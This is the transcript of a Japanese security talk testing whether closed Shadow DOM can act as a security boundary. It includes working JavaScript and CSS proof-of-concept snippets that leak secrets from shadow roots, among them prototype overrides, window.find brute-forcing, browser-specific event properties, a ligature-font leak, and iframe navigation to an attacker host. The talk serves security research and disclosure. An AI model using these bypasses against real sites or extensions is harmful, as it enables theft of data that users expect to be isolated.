Shadow DOMとセキュリティ - 光と影の境界を探る / Shibuya.XSS techtalk #13

Shibuya.XSS techtalk #13 の発表資料です。
English version is here: https://speakerdeck.com/masatokinugawa/shadow-dom-and-security-exploring-the-boundary-between-light-and-shadow

Transcript

1. Shadow DOMとセキュリティ 光と影の境界を探る 2025/7/4 Shibuya.XSS techtalk #13 Masato Kinugawa
2. Cure53で脆弱性診断 XSS・Webが好き たまにBug Bounty Masato Kinugawa
3. 今日の話 • 近年Shadow DOMが使われることが増えた • その中にはセキュリティ境界として使っているアプリもちらほら • この境界は信頼できるものなのか？ • 脆弱性を検証する側はどうしたら攻撃できるのか？ 実際にShadow DOMを使ったアプリを 叩いて得たノウハウを紹介します！
4. Shadow DOM基礎
5. Shadow DOM？ • コンポーネントベースのアプリを構築するのを容易にしてくれるツール • 大前提として、セキュリティ機能ではない • 通常のDOM(Light DOM)中にカプセル化されたDOMを作れる • スコープ設定されたCSS • 制限されたDOMアクセス DevToolsでは #shadow-root と表示される
6. Shadow DOMとCSSのスコープ それぞれのDOMに置かれた<style>がどこに効いて いるかに注目： セレクターが効くスコープが制限される
7. Shadow DOMへのDOMアクセス document.getElementById('foo')// null document.querySelectorAll('span')// Lightを囲っているspanのみ返す 意図的に侵入する方法を使わない限り 内側へのアクセスは制限される コンポーネントとして独立していて開発する上で便利！
8. 用語の整理：shadow host このdiv Shadow DOMが取り付けられた要素
9. 用語の整理：shadow root これ Shadow DOMの入り口にあたる部分 ここから内側にアクセスしていける
10. 用語の整理：shadow boundary Light/Shadowを分かつ境界線
11. Shadow DOMの作り方: JSで作る場合 <script> sHost = document.createElement('div'); sHost.style ="border:dotted red 2px;"; sRoot = sHost.attachShadow({mode: "open"}); sRoot.innerHTML = '<span>Shadow</span> DOM'; document.body.appendChild(sHost); </script> Element.attachShadow でElementに取り付けられる： attachShadowの戻り値は shadow rootへの参照
12. Shadow DOMの作り方: JS無しで作る場合 <div style="border:dotted red 2px;"> <template shadowrootmode="open"> <span>Shadow</span> DOM </template> </div> 宣言型(Declarative) Shadow DOMと呼ばれる方法で可能： これで直前と同じShadow DOMが作成される
13. カプセル化モード: openとclosed 一部のAPIを通じて内側にアクセスできる余地を残すかどうか sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "open"}); // or "closed"
14. {mode: "open"} hostのshadowRootプロパティから後からでもshadow rootへの参照をとれる： sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "open"}); console.log(sRoot);// #shadow-root (open) console.log(sHost.shadowRoot);// #shadow-root (open) sRoot === sHost.shadowRoot // true
15. {mode: "closed"} attachShadow() の戻り値を破棄すると簡単には中を触れなくなる shadowRoot プロパティはnullに： sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); console.log(sRoot);// #shadow-root (closed) console.log(sHost.shadowRoot);// null
16. セキュリティ用途へ使えそう？ • 機密性の高いものを中に置いて閉じればアクセスを防止できる？ • 実際に利用する試みはある • Salesforce の Lightning Web Security (LWS) の一部 • LavaDome • 拡張機能がWebページ上に追加する自身のUIで LWS: https://developer.salesforce.com/docs/platform/lightning-components-security/guide/lws-architecture.html LavaDome: https://github.com/LavaMoat/LavaDome 実際にテストしていく
17. JavaScriptによる貫通
18. 攻撃対象とするアプリ • closedなShadow DOM内にアクセスを制限したい何かを保持 • その何かにJS/CSSなどを通じてアクセスできるか sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); sRoot.innerHTML = 'SECRET'; document.body.appendChild(sHost);
19. 自明な貫通方法 Shadow DOMを作成するより前に攻撃者がそのオリジンでJS実行できたら詰み： sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); //open で作られてしまう sRoot.innerHTML = 'SECRET'; document.body.appendChild(sHost); //攻撃者が先に実行 //常にopen modeでattachされるように書き換え Element.prototype.originalAttachShadow = Element.prototype.attachShadow; Element.prototype.attachShadow = function(arg){ return this.originalAttachShadow({"mode":"open"}); }
20. 自明な貫通方法 2 Shadow DOM作成後でも、正規のコードが行う内部の要素にアクセスする JS実行部分に(prototypeの上書きなどを通じて)干渉できたら詰み： sHost = document.createElement('div'); sRoot = sHost.attachShadow({mode: "closed"}); sRoot.innerHTML = `<span onclick="this.textContent='SECRET'">Click here & show secret</span>`; document.body.appendChild(sHost); // 攻撃者はtextContentのsetterを上書き Object.defineProperty(HTMLElement.prototype,"textContent",{set:function(){ console.log(this);//クリックされた時、Shadow DOMに置かれたspanの参照が返る }}); カプセル化 ≠ 実行環境の分離
21. 実のところ 自分のコードが常に先に実行される保証された方法はない //攻撃者が実行 win = window.open('/page-using-shadow-dom','_blank') win.Element.prototype.attachShadow = function(){ //... } 例: 攻撃者は新しいwindowを開いて何よりも早くprototypeを上書きするかも： 通常のサイトで単独でセキュリティ境界として使えることはないと認識すべき
22. じゃあどうするか？ (Webアプリの場合) • 自前の制限されたJS実行環境(sandbox)でアプリを動かすくらい しかない… • 実際、SalesforceのLWSは自前でsandboxを作成 • アプリ全体が制限されたJSの中で動く • 例：攻撃者がwindow.open()しても既にそれ自体が安全なものに置き換わっている • (なおLWSにおいてShadow DOMは異なるコンポーネント間のアクセスを制限する目的で使用 される。LWSはShadow DOMへの侵入を防ぐためだけのものではないことに注意) • sandboxをバイパスしない限り無制限のアクセスはできない 最初は簡単にできそうだったのに…
23. LWS Distortion Viewer (distortionと呼ばれるLWSで制限が加えられたJS APIの一覧)： https://developer.salesforce.com/docs/component-library/tools/lws-distortion-viewer 壮大な話になってきた… (※sandboxの話はこれ以降しません)
24. じゃあどうするか？(拡張機能の場合) • Content Scriptから直接Shadow DOMを作成する • ページ側と実行環境が隔離されているIsolated Worldで実行されるため (Shadow DOMを追加する是非は置いておいて)prototypeの上書きはされない • ただし拡張からページ側にJSをインジェクトして作成する場合は上書きされる • Content Scriptでページ内に追加したinline scriptも× (前ページ"自明な貫通方法2") ページ側でprototypeを上書きしてもContent Script側では上書されていない図： Content Scriptからなら有効に使える…？ 拡張のコンテキストに 切替え
25. 以下に従えば安心？ • prototype上書きをされない状況で作成 • "closed"で作る • attachShadowの戻り値は破棄 Shadow Boundaryがどれほど 信頼に足るものなのかテストしていく
26. Let's test! さまざまなJavaScript APIを実行して次のページから closedなShadow DOM上のsecret (deadbeef) に触れるかテストする：
27. 正常なカプセル化動作の例 ページ全体にクリックイベントをセット： window.onclick = function(event){ console.log(event.target); } Shadow内の適当な部分をクリック： クリックした要素ではなくshadow hostが返ってきた (= targetプロパティは実際の内側の要素を隠している) すると これをできていないものを見つけるのがゴール
28. 先行研究：Selection#anchorNode Selection#focusNode – Firefox only • getSelection()は選択中のテキストにアクセスするAPI • getSelection()が返すSelection#anchorNode (または focusNode)が Shadow内のノードを返してしまう arxenixさんによる発見： https://blog.ankursundara.com/shadow-dom/ window.find('This is a secret:');//文字列を検索・選択する node = getSelection().anchorNode;//or focusNode root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } find()実行で選択状態に：
29. Firefox/Chrome比較 けどノードは 隠蔽されてる find() で選択は されてる ん？find() で選択されてるってことは検索自体は貫通してる？ 貫通
30. window.find() (テキストの読み取りのみ) result = []; prefix = 'This is a secret: '; chars = 'abcdef'; secretLength = 8; while (result.length !== secretLength) { for (i = 0; i < chars.length; i++) { char = chars[i]; // findは文字列が見つかるとtrueを返す if (window.find(`${prefix}${char}`, false, false, true)) { result.push(char); prefix += char; } } } alert(result.join('')); ノードレベルではアクセスできないが テキストは読めた (このコードはChromeで確認)
31. 先行研究：Selection#toString (テキストの読み取りのみ) • getSelection()を文字列化すると選択中のテキストを文字列で返す これもarxenixさんによる発見： https://blog.ankursundara.com/shadow-dom/ window.find('This is a secret:');//文字列を検索・選択 document.execCommand('selectAll');//選択範囲を可能な限り広げる alert(getSelection()+""); FirefoxとChromeで選択範囲は違うがどっちも テキストをとれた：
32. 先行研究： document.execCommand('insertHTML') • テキスト編集用のAPI • 第1引数にコマンド名を指定して様々なテキスト操作が可能 • insertHTMLはフォーカスがあるeditable部分に引数で指定したHTMLを挿入 またarxenixさんによる発見：https://blog.ankursundara.com/shadow-dom/ window.find('contenteditable area'); document.execCommand('insertHTML',false, '<iframe onload=alert(getRootNode().querySelector("#secret").textContent)>'); Chrome/Firefox いずれもShadow内にHTMLが追加された： SlonserさんによるServiceWorker + -webkit-user-modifyの応用も面白い： https://extensions.neplox.security/Attacks/Shadow/
33. Event#originalTarget Event#explicitOriginalTarget – Firefox only • Firefox固有の Event.prototype に存在するプロパティ • targetプロパティとは微妙に異なるルールで選択された部分のノードが返るもの window.onmousemove = function(event){ elem = event.originalTarget;// or explicitOriginalTarget root = elem.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } Shadow部分にカーソルを移動すると内側のノードが返された：
34. UIEvent#rangeParent – Firefox only • Firefox固有の UIEvent.prototype に存在するプロパティ • MDNのページすらない window.onmousemove = function(event){ elem = event.rangeParent; root = elem.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } これもShadow部分にカーソルを移動すると内側のノードが取れた：
35. DataTransfer#mozSourceNode – Firefox only • Firefox固有の DataTransfer.prototype に存在するプロパティ • ドラッグが開始された時点にあったノードを返す window.ondrag = function(event){ node = event.dataTransfer.mozSourceNode; root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } } Shadow部分の任意のテキストをドラッグすると内側のnodeが取れた： Web ArchiveならMDNのページを発見できる： https://web.archive.org/web/20221004005258/https://developer.mozilla.org/en- US/docs/Web/API/DataTransfer/mozSourceNode
36. InputEvent#getTargetRangesが返す Range#endContainer or startContainer • 入力が対象にしているテキストの範囲を返すAPI window.onbeforeinput = (event) => { targetRanges = event.getTargetRanges(); node = targetRanges[0].endContainer;// or startContainer root = node.getRootNode(); if(root instanceof ShadowRoot){ alert(root.querySelector('#secret').textContent); } }; 以下でeditable部分に何か入力したらノードアクセスできた： Chrome・Firefox・Safari全てで動く
37. ここまでで言えること • Content Scriptから追加しても安全に使えない • Shadow Boundaryは壊れやすい • prototype上書きできなくても関係なかった • カプセル化モードも関係なかった
38. その他の方法による貫通
39. CSSを使った攻撃の可能性 序盤の復習：セレクターが効く範囲は制限される これは Light から ShadowへのCSS経由の攻撃はできないことを意味する？
40. CSSの継承 内側にセレクターが当たらないだけで継承プロパティは継承される Light DOMからbodyにスタイル bodyの子なので継承
41. CSSを使ったデータの読み出し • CSSからテキストをリークする系の攻撃がLightからShadowへ通る • 継承されうるスタイルをShadow側で上書きしていない限り • 攻撃例：fontを継承させて、合字のフォントを使ってリーク • 属性値のリークは厳しいかも • <input type=text> のvalueのようにフォントを適用できるものを除く Michał Bentkowski さんによる合字を使ったCSSによるリーク手法 https://research.securitum.com/stealing-data-in-great-style-how-to-use-css-to-attack-web-application/
42. const secretChars = "abcdef"; const prefix = "This is a secret: "; let index = 0; let foundChars = ""; const style = document.createElement('style'); document.body.appendChild(style); style.innerHTML = "#shost {font-family:hack;font-size:300px;}"; const defaultWidth = document.body.scrollWidth; const loadFont = target => { const font = new FontFace("hack", `url(http://localhost:3000/?target=${encodeURIComponent(target)})`); font.load().then(() => { document.fonts.add(font); if (defaultWidth < document.body.scrollWidth) { foundChars += secretChars[index]; console.log(`Found: ${foundChars}`); index = 0; } else { index++; } if (foundChars.length === 8) { alert(foundChars); } else { loadFont(`${prefix}${foundChars}${secretChars[index]}`); } }); }; loadFont(`${prefix}${secretChars[index]}`); ❶ "This is a secret: a" "This is a secret: b" "This is a secret: c"... などの文字列を1文字にする 幅デカ合字フォントを作成し順に適用 ❷画面のスクロール幅が広がったら幅デカ合字が適用 された = その文字列がShadowに存在するとわかる ❸みつかったらその次の文字も繰り返す やっていること： 合字を使ったリークの例 ※実際には全てCSSで可能 (直前の記事を参照)
43. 逆パターン：Shadow DOM内でのCSS Injection Shadow内でCSS Injectionが起きた時、Light DOMの機密情報を読み出せる？ sHost = document.createElement('div'); sRoot = sHost.attachShadow({ mode: "closed" }); style = document.createElement('style'); style.textContent = ATTACKER_CONTROLLED_STRING;// injection sRoot.appendChild(style); document.body.appendChild(sHost);
44. :host-context() • Shadow内でのみ使えるCSS関数 • 引数に与えたセレクターがshadow hostまたはそのホストの祖先要素と一致する とshadow hostを選択 つまりshadow host or 祖先要素の属性ならShadow内からでもリークでき得る 祖先 祖先 shadow host 実際に複数の文字列をリークする時の手法はこちらを参照(by Pepe Vilaさん)： https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf
45. Shadow DOMに置かれたiframe sHost = document.createElement('div'); const sRoot = sHost.attachShadow({ mode: "closed" }); sRoot.innerHTML = `<iframe name="ifr" src="//trusted.example.com/"></iframe>`; document.body.appendChild(sHost); window.length// 0 window.open('//attacker-host.test/','ifr'); // Shadowのiframe URLが置き換わる window.lengthにはカウントされないがname付きだとナビゲーションは起きる： まだ整理されていない部分の様子： "Shadow DOM and <iframe> · Issue #763 · whatwg/html" https://github.com/whatwg/html/issues/763
46. その他… • Site Isolation • もちろんShadow DOMが別プロセスで動いたりはしない • レンダラを掌握されたら終わり • その他イベント • CSPのViolationイベントがShadow内で発生したらURLがリーク まだいろいろありそう
47. まとめ • セキュリティ境界として使うのはかなり無理がある • バイパスを埋めるために追加の作業が必ず必要になる • 境界の切れ目がどこにあるかを簡単に理解するのは難しい • そもそもセキュリティ機能ではないのでベンダを頼れない • カプセル化し損なってるAPIがあってもただのバグ扱い • 現状隔離された埋め込み用途には結局iframe • SOP、Site Isolation、sandbox属性など明確なセキュリティ境界の恩 恵を受けられる
48. Thanks! 𝕏 @kinugawamasato @masatokinugawa.bsky.social